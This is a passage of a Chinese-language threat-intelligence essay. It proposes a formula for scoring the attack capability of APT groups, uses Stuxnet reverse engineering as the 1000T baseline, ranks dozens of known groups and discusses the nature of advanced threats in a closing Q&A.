因为意图或意志是明确的具有不可转变的含义。意向的不断增强会转化为明确的意图或持续的坚强的意志。意向的减弱会转变为新的意图。换句话说，攻击意图或是意志是意向的最终表象，是我们进行APT事件分析、样本分析后，所最终肯定的那部分内容。但最本质的部分是攻击者的意向的存在，在攻击素材的配合下，所转化为确定的攻击意图和得手后所呈现的最后结果。
同样,攻击素材M也不可能被消除，M只会变的越来越多。M演化的速度与整体网络环境及目标系统的防御难度成正比关系。即网络环境越复杂，目标系统入侵难度越大，那么攻击素材M就会越多。显然，攻击者的强大优势体现在攻击素材的存量远远高于防御者掌握的表象即
M >>> P
.也就是安全研究者提出的“上帝视角攻击”，可以对比看一下方程式／CIA被曝光的攻击包就是这个含义［24］。对此，我们可以伪造一些终端主机／服务器,并暴漏一些安全问题，诱使攻击者选择已有的攻击素材M,消减攻击者对目标系统更新攻击素材M的速度。
综上，从整体上来看各国之间网络战的条件已然形成[25]。因此，APT集合会不断产生表象P，我们未来面对的APT攻击只会越来越具有复杂指向性，不只是单纯的技术高级而是攻击者与被攻击者，目的与意图这些约束关系之间的组成变化。所以就防御而言，梳理各类事件信息形成激活函数模版并在特定场景下进行APT推测具有很深刻的理论意义，我们绝对不会真正知道未来情况如何变化，这堪比预测地震一样困难，确定激活函数是为了弄清其意义，评估接下来发生的可能性。同时对攻击素材方面要扩大认知层面，尽可能多的搜集和整理可实战的新的攻击思路和方法，对防守方来说囊括的攻击素材越多，未来检测出的表象P就会越多，效果就会越好，威慑能力也越强。客户对威胁情报的质量要求远远高于数量要求，厂商简单的积累过往的APT攻击素材对高一阶的APT攻击起不到任何威慑的作用。
## 0x03 有效方法的提出
### 纸上得来终觉浅 － 提出问题
从2010开始至今，APT问题层出不穷，不断刷新安全研究人员对其理解程度的认知。APT具有天然复杂性是其一，但根本原因在于缺少梳理归纳APT事件合理方法。我们只看到发现APT事件－>曝光－>更新产品数据->继续曝光->继续更新...
这样的循环模式。虽然在不断的实践中积累了宝贵经验。但这样的经验显然不能使我们自信的面对未来的威胁，因为这样的经验不能准确的，系统的刻画及表达出未来威胁的可能信息，对未来发生的情况我们所知甚少，惊叹甚多。2010年Stuxnet出现我们惊叹，2012年Flame出现我们惊叹，2015Equation出现我们还是惊叹。
在上一节的关于本质讨论中我们已经知道，目前我们能够干预激活函数的可能性很小，攻击意向也不可能消除，只剩下对攻击素材的研究了。换句话说能不能在激活函数F,攻击意志E一定的条件下，通过对表象信息的研究获得深入的知识，刻画当前，预测未来的可能威胁呢？也就是我们要寻找出归纳APT事件的方法，让APT事件变得有序，可在一定程度上可以被把握，被评估，被预测。
Stuxnet是APT事件中最佳的分析对象,它包含了最少争议的事实，明确的激活函数，明确的攻击意向，明确的攻击素材。为此我们需要仔细研究Stuxnt的方方面面，但在汗牛充栋的资料当中寻找我们需要的细节，没有其它的捷径可走，不断的调试和逆向分析是最可靠的知识来源，我选择从此入手，寻找我们能准确的刻画威胁信息的方法。
### Stuxnet逆向分析
分析Stuxnet是非常困难的事情，在那几年当中，即便把所有精力投入，我也没有能力把Stuxnet完全的分析完毕，受知识领域限制尤其工业工控部分，另外对攻击者操作过程中信息的丢失，以及对某些深入问题的研究程度都将影响最终的分析结果。但这仍然是极其有意义的事情，没有这些繁琐的逆向调试过程就不能真正的深刻认识到问题的复杂，它时刻提醒你，摆在眼前的可不是什么小角色，它是网络武器不要放过任何细节。下面把我自己之前的一些分析放在附录中供大家参考（注：这不是完整的技术分析报告,仅是分析时的技术点记录）。
* 《附录一：主要感染模块~WTR4132.tmp的逆向分析》
* 《附录二：主要感染模块~WTR4132.tmp攻击载荷部分的逆向分析》
* 《附录三：通过lnk漏洞加载的～WTR4141.tmp的逆向分析》
* 《附录四：内核rootkit-MRXNet.sys的逆向分析》
* 《附录五：关于内核提权漏洞CVE-2010-2743的分析与利用》
* 《附录六：关于Windows Shell远程代码执行漏洞CVE-2010-2568的分析与利用》
* 《附录七：关于打印机远程任意代码执行漏洞CVE-2010-2729的分析与利用》
* 《附录八：关于Windows 计划任务导致内核提权漏洞CVE-2010-3338的分析与利用》
* 《附录九：ITW 0Day：LNK远程代码执行漏洞（CVE-2017-8464）的简要分析》
* 《附录十：Symantec赛门铁壳通报的Stuxnet相关信息摘要》
* 附录的技术详情见：<http://vxjump.net/files/a_page/7/aptr.htm>
* 未完待续...
整体分析下来可以得知，Stuxnet称得上是精巧且以极其复杂而著称，攻击者能够一蹴而就的完成攻击，显然是经过长久以来的默契配合才能有如此效果的。但在分析中我也发现了一些问题，首先精心策划数年，价值上百万美元的攻击武器先是被一个名不见经传的白俄罗斯安全公司VBA32发现（行业里面的人会对VBA32的启发式技术有很大的好感，但行业外知名度不高），又被Symantec几个不太懂工控PLC的聪明的加州程序员发现了新问题并模拟出了结果，最后由Ralph等3个人组成的研究团队的德国小公司揭示出了攻击目的[26]。
这看上去有点不可思议？其实一点都不，研究Stuxnet的样本可以看到，代码虽然精巧，但所使用的技术绝大部分并没有超越常规的技术理解范围，只要持续的投入分析，绝大部分信息是可以被破解出来的。Stuxnet也要躲避杀毒软件的，如果发现存在杀软的机器则退出监控。攻击过程中漏洞使用量非常大，这一点令人印像深刻，5个windows漏洞+1针对SIMATIC
WinCC 漏洞[27]，其中4个windows
0Day漏洞中涉及到的打印机漏洞和lnk漏洞在前些年的hackin9杂志以及银行盗窃病毒zlob(也就是后来被确认用2个0Day漏洞的fanny,Equation组织中的另一款工具)中都有使用出现。利用2个被盗用的合法的数字签名是让人吃惊的，它否定了我们之前的安全假设，Duqu攻击者目的被破解后，人们因数字证书所建立的信任关系开始动摇了。
最为困难的事情是对攻击者的意图的破解,但研究人员最终还是通过这些样本揭示公众对Stuxnet的疑问。通过模拟分析来判断攻击者的意图是针对特定的西门子的S7-315／417型PLC设备，继而靠变频器的设备ID分析出了针对315型号代码意图是修改变频器的工作频率，通过不间断的高低频的变换使得离心机的频率超出正常的范围，在多轮循环之后最终将轴承磨损殆尽，造成过早的机器损害。至此，从样本分析到最终攻击者意图的显现都让人惊讶不已，因为直到3年后发现Stuxnet0.5时，研究员人员才确定为什么当初针对417型的攻击代码是缺失不全的，以及为什么Stuxnet0.5中包含完整的417型攻击代码而后被舍弃。所谓的有组织，国家力量的背后支持，持续性的，高级攻击技术其每一项在震网的案例中都被体现的淋漓尽致。
### 构建高级威胁评估模型
坦率的讲，虽然我分析过很多的APT组织，但多数都是技术普通的攻击团体，真正称得上高级威胁并不是太多，而从技术角度来看，高级威胁应该具有下面的特点，
1. 使用0Day攻击，这一点几乎是必须的条件
2. 支持各种网络协议上的多个隐蔽通信通道
3. 不同寻常的持久化技术，借助于操作系统的某些不被人知的技术
4. 恶意程序模块只能存在于内存中而不会触及磁盘，造成取证困难
5. 高难度复杂技术的实现，其技术门槛的高度仅限于该组织独有
6. 未被发现感染媒介，也就是最初的感染向量到目前为止也不清楚
7. 已经破坏了多个国家/地区的多个政府组织
8. 在被发现前已经隐藏潜伏多年，而造成的损失以无从评估
当通盘分析和考量了Stuxnet的进攻方式后，就可以直观自然地认识到漏洞,攻击技术,使用方式都只是影响高级威胁到关键要素，而要把握住这样的攻击能力，唯有对攻击目标的整体衡量才会对高级威胁认识方面的困惑慢慢变得减少。漏洞是攻击者采用的手段之一，它只是预备漏洞存储库中的一例，技术的复杂与否只因目标而定，同样体系下产生的Stuxnet和Duqu显然不同，攻击能力高低不等，但却同样是高级威胁。因此我采用最小闭环原则来进行评估，即形成一次攻击所要求的最小数据集合，攻击量化的数据取自攻击者实施当前攻击中成功所需的模块代码数量。因为对于网络攻击技术而言，技术人员很可能拿不到第一时间的入侵数据，现实中的第一步感染操作是如何进行的可能便无从得知，我们只能取得当前可以被认为是第一个步骤的数据进行量化评估。在此之后下载及后续能力的更新则不完全算是初始攻击能力的体现。
所以，针对Stuxnet的量化文件包括～WTR4141.tmp，～WTR4132.tmp，Copy of Shortcut to.lnk
3个文件，因为它们能够构成一个最小的攻击组合。其他产生的衍生文件则不是攻击能力评估的对象，下面给出攻击能力量化的一些原则。
攻击体现在对攻击产生重要影响的技术与代码总量之间比例的考虑，相当于使用一个0Day漏洞产生价值趋向于编写1296k（即a=3；s=1；m=1；p=1；x=5；的情况下）的代码含量的程序。这个比例是兼顾考察Stuxnet与其他攻击案例的差异不至于过大，同时也为了区分使用0Day的案例与其他没有使用0Day的案例的协调关系。
对于需要交互才能完成的利用给予降低攻击能力的评价，例如直接发送伪造为word，pdf文档的exe文件等方式，这样方式作为高级威胁虽然也会出现在个别组织的攻击事件当中，但对于高级威胁的攻击能力的评估上要予以降低分数的考量。
综合了各方面的因素与实际的反复测量，下面给出一种评估模型的检测公式：
攻击能力AT = (a + s + m + p) ^ (k) * (1 + x)^ 2 + c －－－－ －－－－ 3.1
c = 代码量衡量值，
如果a >= 3,时， c = 最小闭合的文件大小 / 1024，
如果a = 2时， c = 最小闭合文件大小 / 1024 * 6
如果a = 1时， c = 最小闭合文件大小 / 1024 * 8
其中，k是攻击力系数，k = {k| k 属于2,3,4}
2 = 正常安全认知理解范围(通常我们所见的APT与一般性攻击都属于这个范围) ；
3 = 超出安全认知范围(典型的如，Stuxnet，Flame级别的攻击案例); 4 = 完全不可想象的攻击方式(目前还未遇见这样的案例)
a是攻击自动化情况， a = {a | a 属于，1 = 多步骤交互，2 = 少交互，3 = 无交互 }
，多步骤交互是指攻击者需要操纵多个步骤，引导目标来运行恶意代码的情况。
少交互是指类似运行宏病毒这样的方式，至少需要目标操作一个确认步骤后才能运行恶意代码。无交互是指利用漏洞，web入侵这样的攻击方式，不需要目标参与操作确认，直接即可在目标中运行任意代码的情况。
s是传播方式的种类， s = {s| s
属于，1，2，3...}，通常恶意代码传播多数是鱼叉式钓鱼攻击，水坑攻击，社工方式等，在震网中包含两种传播方式，u盘传播和网络共享传播，也有
像DarkHole那样利用wifi网络下的精准传播，这里需要考量的是攻击组织使用了几种传播方式来制造最初的感染向量。
m是攻击方法，m = {m|m 属于1，2，3...}
，就具体攻击方法而言分类十分繁杂，但过于细致的攻击方法会导致评估结果在不同APT组织之间造成很大差异，故给出一些经验上的考核点，供大家参考；大家也可以根据自己的经验来扩展这里的内容，以下皆是针对攻击者使用的技术而言，
* 一类： 1，代码注入 ；2，使用来rootkit／bioskit；3，使用了未知编程语言；4，横移渗透；5，模块完全ASM编写；6 利用隐写方式
* 二类： 1，特种木马 ；2，感染特定人群(例如，regin针对研究数学/密码学的人群)；3，针对特定文件/设备的利用( 例如，针对韩国Hangul Word Processor HWP文档)；4，特定目标感染；5，精准传播
* 三类： 1，范围极广的间谍功能(例如感染蓝牙设备)；2，安装隐蔽的未知功能（例如gauss安装自定义Palida Narrow字体）；3，僵尸网络；4，加密网络or支持多协议
* 四类： 1，恶意破坏(例如重写磁盘文件)；2，攻击安全软件（例如Duqu2攻击卡巴斯基）；3，改写开源软件；4，反取证技术
* 五类： 1，高强度破解难度；2，高难度&复杂技术实现（例如，全程ROP编写，No shellcode实现, 内核执行全内存隐藏运行）
* 六类： 1，武器集合(即该攻击组织具有多款特定目标武器)；2，漏洞利用工具包(Lightsout exploit kit ,Nuclear EK)；3，使用逻辑类漏洞利用
* 七类： 1，特殊持久化隐藏；2，被发现已有三年以上隐藏时间；3，usb特性利用；4，伪造特性（故意将自身包含的与某些知名的APT样本相似的代码片段或行为）
p是攻击目标平台数量，p = {p|p属于 1，2，3...}
通常是指windows／linux／android／mac，在震网中包括了windows，wincc 2个平台。
x是包括漏洞利用，盗用签名，硬件攻击等能对安全事件产生重大影响技术的使用数量，其中的详细分类如下；
* 完全属于APT组织的独有的破解高难度目标的利用技术 ---------- 8级
* 完全属于APT组织的独有漏洞,硬件级别漏洞 ------------------ 6级
* 完全属于APT组织的独有漏洞,软件产品漏洞 ------------------ 5级
* 对非个人操作系统的利用及攻击技术 ------------------------- 5级
* 完全属于APT组织的独有漏洞,web产品漏洞 ------------------- 4级
* APT组织与其它组织机构共享漏洞 --------------------------- 4级
* 盗用数字签名 --------------------------------------------- 4级
* 利用方法曝光但尚未修补的漏洞 ---------------------------- 3级
* 未曾曝光的攻击手法---------------------------------------- 3级
* 尚未可知的入侵手段---------------------------------------- 3级
* N day的使用 --------------------------------------------- 2级
* web方式入侵----------------------------------------------- 2级
* SQL注入利用 ---------------------------------------------- 1级
* DDOS 攻击 ------------------------------------------------ 1级
* 无任何漏洞及其他利用方式---------------------------------- 0级
c是闭环中的代码总量，以K为单位进行计算，(WTR4141.tmp = 25,720 byte + ～WTR4132.tmp = 517,632byte +
Copy of Shortcut to.lnk =4,171 byte）／1024 = 534K
K = 3 (超出安全认知范围)
a = 3 (无交互)
s = 2 (u盘+网络共享)
m = 4 (代码注入+rootkit+高难度&复杂技术实现+特定目标感染)
p = 2 (攻击2种平台,WINDOWS + wincc)
x = 30 (攻击组织独享,及1day，
其中CVE-2010-2743 = 5,
CVE-2010-2568 = 4,
CVE-2010-2729 = 4,
CVE-2010-3338 = 5,
CVE-2010-2772 = 6,
CVE-2008-4250 = 2,
盗用数字签名Realtek = 4;
C = (4171+25720+517632)/1024 = 534;
攻击能力AT = (a + s + m + p)^(k) * (1 + x)^ 2 + c
AT = (3+2+4+2) ^(3) * (1+30)^2 + 534
= 11 ^ 3 * 31 ^ 2 + 534
= 1279091+534
= 1279625
我们规定Stuxnet的攻击力是1000T，为了计算及表达方便，可以将得到数值*1000，设定1T攻击力单位 = 1279625,
==> 1279625 * 1000/1279625 = 1000T
注意，该攻击能力描述的是攻击者入侵能力，而不是持续造成的打击或者是造成损失的能力计算，它只是表明攻击者具有攻破防御体系所具有的技能水平,受攻击目标的影响，攻击者会采取的策略也会不同，所以最终的能力体现并不能完全等同于最终事件所造成的影响，二者不是完全等价值的。
该模型建立的目的是以Stuxnet的攻击能力为基准，准确地描述出其它高级威胁组织相对Stuxnet的能力水平。为了区分一般攻击同高级威胁差别，以及高级威胁同另外高级威胁之间的差别能够有很好的区分度，模型做了适当的调整，相对地降低了Stuxnet同这些威胁之间的差别。
## 0x04解决细节问题
### 不畏浮云遮望眼 -为什么需要量化APT
目前，众多高级威胁的出现已经成为了一种常态，但显然如果继续以目前的态度对待下去，人们会慢慢减少对这类威胁的敏感性，而不能区分出什么样的高级威胁是应该得到重点关注的，而其它的所谓高级威胁是需要被退去神秘面纱的。Stuxnet的攻击能力评估使得我们有了进一步扩展问题的起点，我们可以依照这一方式将这个方法扩展到对所有已经被认可的高级威胁研究中来，这样会十分清晰的看到我们所处环境及威胁变化的趋势状况。
对于量化的过程我们遵从以下一些原则，主要是因为调查取证过程中的信息缺失，以及单纯的针对第一阶段攻击能力的量化会导致少量案例的数据偏小不能真实反映攻击者能力情况，
因此做以下技术上的调整：
1. m是攻击方法，包括后续攻击者下载的样本所具有的能力，后续攻击样本本身不计算到c闭环中的代码总量中，但其使用的特殊技术会被累计到参数m当中。
2. 有些攻击行动发生在服务端或是利用web入侵方式，这将导致进行量化评估的时候没有相关数据作为依据，故这样情况下将会按照经验值给出相关数据。
3. 有一些组织的攻击行为是长期反复发生的，一次的样本取证不能很好的衡量这一类APT的整体能力，故在评估这类问题时，统一采用截止目前为止该攻击组织最体现攻击力的行为做为基础的数据。例如,长期利用诱骗技巧(扩展名反转)来运行RAT，或者更多使用1Day漏洞，极少使用0Day漏洞的攻击组织，那么我们选取0Day为主要使用情况来说明该组织的攻击能力，这也体现了该组织攻击能力的逐渐提升过程。
4. 我虽然认同同行安全公司所撰报告的初始目的与态度都是严肃认真的，但对于有些报告的结论及是否算是高级威胁的结论我并不完全认同，但为了不被遗漏，如有大家广为讨论的案例我这里也加入考量当中。
5. 很多被称做APT攻击行动的事件，其实都是可以关联到某些著名的黑客组织当中，例如OperationDog(CVE-2013-3893),Operation Ephemeral Hydra(CVE-2013-3918),SnowMan(CVE-2014-0322) 三者同源,因此不再单独评估这样一次行动所产生的攻击能力，而是针对该组织的攻击能力评估。
6. 对于缺失原始攻击数据，或者是缺少恶意样本母体文件的情况，我仅能够根据报告描述的技术内容给出可能复杂程度的估值。
7. 对于包含多起高级威胁攻击事件的组织评估，原则上需要取所有事件中的最小闭合样本的平均值来进行估算，但实际上由于相关共享信息的缺失，我这里只能取单例事件的最小闭合样本进行评估，但就目前的模型而言，对结果的影响可以忽略，近似的认为就是最后的均值结果。
8. 评估本身并不是完全依据样本的技术细节，而是从整体上来看达到什么操作目的来定义，例如m参数中，高难度/复杂技术实现，即可以是无文件的全内存运行，也可以是磁盘扇区级别的隐藏。但不再继续深究技术实现的细节或评定哪一种水平更高，这样会因为牵扯细节过多而导致攻击能力近似的APT组织出现较大差异。
9. 有一些也被称做定向攻击或是高级威胁，例如针对银行，金融系统的攻击，由于缺少确认攻击者的推断依据，如果按照前面我们提到的关于高级威胁的描述显然这些事件不能被归类到你我所知的APT当中，故这些事件除非已经完全的被明确认定，攻击组织具有明晰攻击意向，否则不被加入到统计当中。归因困难是我们要面对的常态问题。
10. 这里的评估更强调的是代码攻击能力，但其实还包括大量先进的社会工程学技术的应用，但如果兼顾二者则显然不够明晰我们观念当中对攻击能力的体现，因此这里关于社工技巧方面技术的考量是没有被加入的。
受个人资源的限制，这里仅列出了我能够搜集并且可以获得相关样本信息的APT组织或者是攻击行动所使用的样本，而对于那些完全得不到任何信息的攻击组织则没有收录，这不是个完整的不遗漏的评估列表，但我仍然会尽我最大的可能去搜集整理，评估，更新。
APT组织名称 | 时间 | 攻击能力
---|---|---
2010 | |
Aurora | 2010/2/10 | 2.314T
Stuxnet | 2010/9/30 | 1000T
Night Dragon | 2011/2/10 | 0.635T
RSA Hacked | 2011/8/4 | 1.909T
Lurid Downloader | 2011/9/22 | 0.623T
1.php group | 2011/12/12 | 0.351T
Duqu | 2011/9/22 | 104.184T
Nitro | 2011/10/31 | 2.586T
HeartBeat | 2012/1/3 | 1.886T
Luckycat | 2012/3/29 | 0.556T
Ixeshe-APT12 | 2012/3/25 | 2.006T
Flame | 2012/5/25 | 930.899T
Gauss | 2012/8/9 | 63.311T
Taidoor | 2012/8/18 | 1.931T
Elderwood | 2012/9/6 | 7.554T
Georbot | 2012/9/29 | 4.159T
Shamoon | 2012/11/1 | 1.762T
RedOctober | 2013/1/18 | 1.757T
APT1 | 2013/2/19 | 1.110T
MiniDuke | 2013/2/12 | 4.045T
Safe | 2013/3/17 | 0.667T
Troy | 2013/3/20 | 3.107T
Winnit | 2013/4/11 | 4.123T
Deep panda | 2013/6/30 | 0.609T
NetTraveler | 2013/6/4 | 0.737T
Hiddenlynx | 2013/9/17 | 25.341T
DeputyDog | 2013/9/21 | 3.502T
Icefog | 2014/1/14 | 0.864T
Masked | 2014/2/11 | 38.628T
Saffron Rose | 2014/5/13 | 0.623T
DragonFly | 2014/7/4 | 0.576T
Energetic-bear | 2014/7/31 | 5.818T
Sandworm | 2014/10/14 | 3.569T
Pawn storm | 2014/10/22 | 6.819T
Apt28 | 2014/10/28 | 27.977T
Darkhole | 2014/11/10 | 13.761T
Regin | 2014/11/24 | 53.274T
Turla | 2014/8/7 | 83.116T
Desert Falcons | 2015/2/17 | 0.541T
Animal farm | 2015/3/6 | 10.192T
hellsing | 2015/4/15 | 0.243T
Naikon | 2015/5/14 | 0.673T
Oceanlotus | 2015/5/29 | 3.242T
Cozyduke | 2015/4/21 | 5.411T
Duqu2 | 2015/6/9 | 101.663T
Wild-Neutron | 2015/7/8 | 15.625T
Potao express | 2015/7/30 | 3.222T
Blue-termite | 2015/8/20 | 0.982T
Lotus Blossom | 2015/12/18 | 2.191T
DustySky | 2016/1/7 | 2.004T
Scarlet Mimic(apt2) | 2016/1/24 | 1.110T
Blackenergy | 2016/1/28 | 7.325T
Transparent Tribe | 2016/3/1 | 0.779T
Lazarus | 2016/3/13 | 11.625T
Platinum | 2016/4/12 | 620.299T
Patchwork | 2016/7/7 | 3.794T
Sphinx | 2016/7/21 | 0.487T
ProjectSauron | 2016/8/7 | 770.281T
Whitebear | 2017/8/30 | 8.462T
BlackOasis | 2017/10/6 | 2.868T
Gaza Cybergang | 2017/10/30 | 0.765T
Sowbug | 2017/11/7 | 0.617T
Apt34 | 2017/12/7 | 0.788T
Gravityrat | 2018/1/27 | 0.137T
Dark caracal | 2018/1/18 | 1.786T
Apt37 | 2018/2/20 | 3.331T
Slingshot | 2018/3/9 | 24.756T
OlympicDestroyer | 2018/3/8 | 0.345T
LuckyMouse | 2018/6/13 | 1.816T
Vpnfilter | 2018/5/23 | 9.224T
具体详细信息请查看《附录十一：APT高级威胁组织攻击力量化列表》
### 推测出一些结论
攻击力排前10名的高级威胁是：
Stuxnet = 1000T；
Flame = 930.899T
ProjectSauron = 770.281T
Platinum = 620.299T
Duqu = 104.184T
Turla = 83.116T
Gauss = 63.311T
Regin = 53.274T
Masked = 38.628T
APT28 = 27.977T
Hiddenlynx = 25.341T
攻击力排后10名的高级威胁是:
Sowbug = 0.617T
DeepPanda = 0.609T
DragonFly = 0.576
Luckycat = 0.556T
Desert Falcons = 0.541T
Sphinx = 0.487T
1.php group = 0.351T
OlympicDestroyer = 0.345T
Hellsing = 0.243T
Gravityrat = 0.137T
获得到相关数据后，我们可以做出如下的一些关于未知情况的有意义推断：
1. 绝大多数常规的APT介于0.35T～4T之间，而高于9T以上则是威胁极高的精英黑客组织的作品。
2. 关于APT3(Operation Clandestine Wolf)，APT5(Leouncia)APT12(也被称做Etumbot,IXESHE)，APT10(又名CVNX、Stone Panda、MenuPass和POTASSIUM), APT16,APT18(Wekby),APT19(Codoso Team) ,APT29(来自俄罗斯),APT30,APT33(来自伊朗), 可知以上APT组织的攻击能力应该介于DragonFly APT ～ DeputyDog(APT17) 之间[28]，因为根据攻击代码分析及相互组织之间的关联进行推断，攻击能力范围在 0.609T～ 3.502T。
3. Platinum攻击力高达620.299T，但攻击范围仅限于东南亚，显得很不可思议，是否仍然存在Platinum的变种在其它地区，而这仅仅是因为我们还没发现呢？
4. 使用0Day漏洞攻击的组织，其攻击力多数在1.8T以上，而大多数可称作定向攻击的水平介于0.1T～1.5T之间。5T~15T的攻击力是实力出众的攻击组织，15T~100T是具有强力国家背景支持的网络攻击力量。100T以上的攻击能力则是具有国家战略意图或是网络战范畴下需要考量的一股军事攻击力量。
5. 依据量化能力的评估可知，大多数的一般性的攻击事件（广告欺诈，DDOS攻击，僵尸网络，垃圾邮件目标的恶意软件，游戏盗号，盗取信息）的攻击力也都在0.1T～2T之间。所以这部分的所谓高级持续性威胁APT是不能说明其技术上的特殊性及其独到之处的，但同样也不能否认其具有国家力量支持的特点。
6. 就每一次的攻击性行动而言，很难说清其具有持续性的意图，所以当我们谈论很多APT时也将这些行动加入其中，有些行动显然具有持续性的关注，渗透入侵达成必要目的，例如使用社工技巧配合0Day漏洞来达到精准的攻击投放，但有些所谓的APT演员的行动则不是这样的情况，更多是散网式的尝试性的攻击形式（Advanced Tentative Threat ，ATT），很难说明这样的攻击意向有多大，成功的几率有多高，但这样的行动每天都在发生，且非常高的频率，这也可称为高级尝试性威胁ATT。
7. 从攻击力的前30名代表组织来看，美国拥有绝对的顶尖实力处于第一梯队，以Turla，APT28为代表的俄罗斯处于一流水平的第二梯队。值得注意的是朝鲜APT组织处于中等偏上的技术水平，这一点反倒并不印证经济实力等同于网络攻击能力。
8. 对以上数据计算平均值s' = 57.47532857 ， 计算标准差σ = sqrt(Σ(s-s')^2/n) = 196.0908065 ，所以对应变异系数 σ/s' = 3.4117，该变异系数的值非常高，说明APT组织之间的攻击能力差异非常之大。对于网络空间安全而言这是显而易见的，各国攻击组织能力差异巨大，经验上看，排名前20%的APT组织是很难防御的，我们希望能够监控后80%的攻击组织是否能维持在一个相对较低的攻击力水平区间，为了衡量这一情况我们引入一个威胁指数 x = 后80%的攻击组织的平均攻击力/9T =3.149894737/9 = 0.34998; 根据以上分析得知，5T以上已经具有非常强的攻击能力，故计算一个临界警报值0.556；所以当威胁指数x >> 0.556时，说明整个网络空间产生的APT攻击事件对安全防御而言处于危险的告警状态，接近~1时，则说明绝大多数APT组织的攻击能力已经大幅度提升，网络对抗进入到新的阶段。
目前APT中的高级的含义，更多是用来区别是否具有国家背景的攻击组织，而不是从技术角度的高级来认定的，所以很难想象，APT中的高级这个词竟是被安全公司自己弄丢了本原的含义。从最初的Stuxnet，Flame，Duqu，APT中的“高级”从来没有被怀疑过，但后续的带有些赚取眼球的各种分析报告中，无限制的使用，慢慢地让这个共识失去了最初应该被定义的含义。当然，就APT本身来说也是用来区分网络战的含义，它告诉相关人员这不是网络战而是一次APT攻击。但终归，安全行业不应该牺牲我们研究的准确性来机会主义地促进推广业务，这会降低行业的技术要求水准。
对高级威胁防御的困惑是，以往针对恶意程序的处理方式都是以时间换空间的，即某一时间点单点受害，获取其相关信息提取样本，通过不断更新在以后的时间当中来保护多点大众。但APT不给你机会，单点受害就功亏一溃。故防御的二十四字方针是：引入终端，顺藤摸瓜，分析入口，关联进程，沙箱防护，危险还原。
而我们强调攻击者具有攻击力的体现，更重要的一个原因是检验我们的防御产品，能否做到针对9T以下的完整的防护，而对高于20T以上的攻击力能否做到预警？
## 沉舟侧畔千帆过 - 最后的问题
从事信息安全工作已经有很多年时间，但APT的定义是最为模糊的一个，它的不够清晰，不利于我们展开防御。我一直思考研究高级威胁本质是否是一个真问题。目前我确信，至少有3个方面会使我们在安全认识上取得进展：
1. 从最初，我们只关心能否检测目标样本，到开始关心攻击者背后的意图。从高级威胁概念的被提出，再到给高级威胁的攻击能力一个清晰的表述上，进而给攻击能力画出一个基本的大致界限范围是我想做的事情。我虽不知未来是否会有超出1000T的攻击力，因为... 但若有，我也可以有勇气去直视这一事实。
2. 防御者如何确保具体防御能力有效是存在困惑的，要让检测能力，威胁情报，亦或是可感知等具体的概念落地，必须有实效的测量手段来检验。改造原有攻击样本或是构造新的攻击能力在2T～30T之间的攻击组合，来验证防御体系是否真正有效果，这种方式是最直接的，攻击能力的量化可以起到对防御的检验作用，相比对威胁事件的可感知而言让防御能力变的看得见，是更为重要的事情。
3. 对攻击意向的研究将会深刻的影响防御体系设计的最终方向，它将开启一个全新的安全视角，解决什么样的因素导致什么企业遭受潜在的多大攻击力的预测问题，进而动态的进行防御能力的调整。而防御能力更像是场舞台的脚本剧，它是被精心设计出的针对性的“保卫战”。
## 0x06 APT十问
下面这些是研究这个问题过程中产生的一些想法以及看到相关人员对这方面问题的疑问，故一并记下，取其中10个问题回应，仅供大家参考。
**1-**
Q: 从APT攻击的表象归纳出本质的理论如何保证其正确性？
A：我认为以表面现象及感受到的事件的数据结果来建立理论是错误的，至少是不能因此推导出本因的。
正确的情况是，设定的理论决定你能看到什么表象及什么样的APT问题，APT事件都可以归纳在理论结果当中，本文尝试建立一个认识高级威胁本质的实践的理论框架。当一例攻击事件产生后，它在表象能力上产生的结果就是最后呈现给我们的影响。这个影响与攻击事件相关的直观就是经验性的认定。一个关于APT经验性的直观认定在被规定后的对象就是我们所说的APT事件。而我们经验性的直观认定被包含在实践框架所预设的结果当中。
**2-**
Q：如果APT问题是价值判断问题，那么价值的标准如何确定？
A：确切的说APT问题是基于价值的综合判断，是主观上对APT素材的认定及攻击者背后意向的肯定。在这一推理过程中，APT素材是相对容易区分的，包括特殊编写的工具或是成熟的流行工具的再次利用。攻击意向的判断基于两点，1）时间上的延续性
2） 被攻击者的范围的设定 。
时间上的延续性是说是否可以肯定攻击者在之前的时间范围内曾发起过攻击。被攻击者的范围的设定是指攻击者仅仅限于某种类型的目标（能源，石油，银行...)
而不是限于整体互联网或局部互联网内无明确目标的攻击。
**3-**
Q：基于Kill Chain的威胁划分是否有道理，基于这一理论来做APT防御是否可行？
A：Kill Chainc划分了一个攻击者所走的路径，是绝大多数的攻击路径。但没有人能保证攻击者只走这个路径。
划分步骤是分解问题，具体落实工作还要到检测的实体上来，而不是哪一步骤下设置一个检测点。
**4-**
Q： APT和普通攻击的区别是什么？
A：
APT和普通攻击没有本质区别。从网络安全产生之初到目前大规模网络安全事件突起，APT一直都存在，只是我们没有加以区分。从Stuxnet起人们开始区分这一攻击方式，到目前能慢慢的接受白象一类也属于APT攻击。至此，我们已经能心平气和的去思考这一常见的网络攻击现象。APT是攻击类事件里面的明星，除此外无任何区别。但我们还是可以划分出一个边界来梳理APT情况，以攻击能力+统计目标来考虑，
1. 重攻击+重目的 = Stuxnet，Duqu.. ； >30T 以上的攻击能力
2. 轻攻击+重目的 = BlackEnergy，Shamoon；5T～10T之间的攻击能力
3. 轻攻击+轻目的 = Patchwork，海莲花，非常多APT都是这一类型,准确说是网络间谍行动，介于0.1T ～ 4T之间的攻击能力
4. 重攻击+轻目的 = 花费很大的资本但却实现很小的目的这很不现实的。
就此还可以继续划分为，武力打击类，间谍刺探类，信息盗取类，而最初我们仅认为是重攻击+重目的+武力打击 => APT
（Stuxnet）到目前接受轻攻击+轻目的+间谍刺探类 ～= APT (Patchwork ... ) 这就是这个APT这个词混乱的原因，
轻攻击+轻目的+间谍刺探类 = target attack
更适合。当我们通过对概念加以精确规定后，我们就可以减轻概念带来的混淆，也使得其他任何想要检查对比这一概念的人易于判断我们是否真正明确澄清了该概念的含义。
**5-**
Q： APT研究和防御的发展以后会有哪些阶段？
A：
现阶段，只有APT表象对于研究者来说才是真实的被给予的体验，研究者从来没有也不会超越其体验之外的APT攻击事件。确切地说，若APT可被研究，其一切皆是表象。下一个阶段将是对攻击者意向猜解，进而对意向产生的动因进行把握，引导以及转化攻击表象的手段。
**6-**
Q：采用归纳的方式来总结APT的规律，如何保证这是正确的？
